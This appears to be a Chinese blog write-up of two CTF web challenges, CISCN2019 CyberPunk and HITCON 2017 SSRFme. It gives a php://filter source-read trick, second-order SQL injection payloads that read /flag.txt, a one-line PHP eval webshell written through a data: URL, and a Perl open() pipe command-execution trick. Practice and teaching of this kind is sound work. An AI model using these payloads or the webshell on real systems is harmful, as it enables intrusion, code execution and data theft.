[CTF]WriteUp第21篇

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

思路

看源码看到传参file提示
看WP知道原来是要传参伪协议读源码

/index.php?file=php://filter/convert.base64-encode/resource=index.php

index.php

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

config.php

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

confirm.php

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

仔细分析可以找到注入点:address作为old_address时可以注入sql语句,我们依此更改address

解题

现根据源码构造payload:

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

update `user` set `address`='xxx', `old_address`='xxx', `address`=payload where `user_id`=xxx;

old_address: xxx', `address`=payload

xxx', `address`=(select(group_concat(schema_name))from(information_schema.schemata))#

-> information_schema,performance_schema,ctftraining,mysql,test,ctfusers

xxx', `address`=(select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctftraining"))#

-> FLAG_TABLE,news,users

字段

xxx', `address`=(select(group_concat(column_name))from(information_schema.columns)where(table_name="FLAG_TABLE"))#

-> FLAG_COLUMN

xxx', `address`=(select(group_concat(FLAG_COLUMN))from(ctftraining.FLAG_TABLE))#

-> [报错]null

啊,这?看WP知道有/flag.txt,看来要多试

xxx', `address`=(select(load_file("/flag.txt")))#

-> flag{a75bac0d-8e02-4d38-85c7-21d0613bf559}

注意

二次注入需要仔细分析源码,要加强代码分析能力


[HITCON 2017]SSRFme

思路

源码贴脸

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

解题

尝试根据我对这些函数的理解写个payload

http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/112&url=127.0.0.1

发现能顺我意,那么首先想到通过file协议来读文件

http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/111&url=file:///

看样子是通过/readflag来读取/flag了,测试后发现直接读/flag确实为空

做到这里没啥头绪了,看WP练一下解法吧

解法一:data伪协议

http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/111.php&url=data:text/plain,'<?php @eval($_POST['lingye'])?>'

为什么要加引号?
— 因为执行命令时会解析<?相关的符号
加了引号后不要紧吗?不会出现带引号一起写入吗?
— 确实会带引号一起写入,但是不要紧,php不会因为前后多余的字符而不解析

接下来就是蚁剑了

flag{640d5865-8826-4f12-b528-ed0915546c36}

解法二:perl底层代码的RCE漏洞

真够深的知识(谁懂啊

GET命令在底层是用perl语言的open函数实现的,这个函数有个bug

open("xx|ls")  // 会执行ls

这个函数对于管道符有识别,导致会把管道符后面的字符串当命令
当然,bug的前提是真有名为xx|ls的这样一个文件

我们试试,先创建文件

http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=|/readflag&url=127.0.0.1

那么,执行吧

http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/111&url=file:|/readflag

注意

  • data伪协议
  • GET,或者说perl的open的RCE漏洞
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇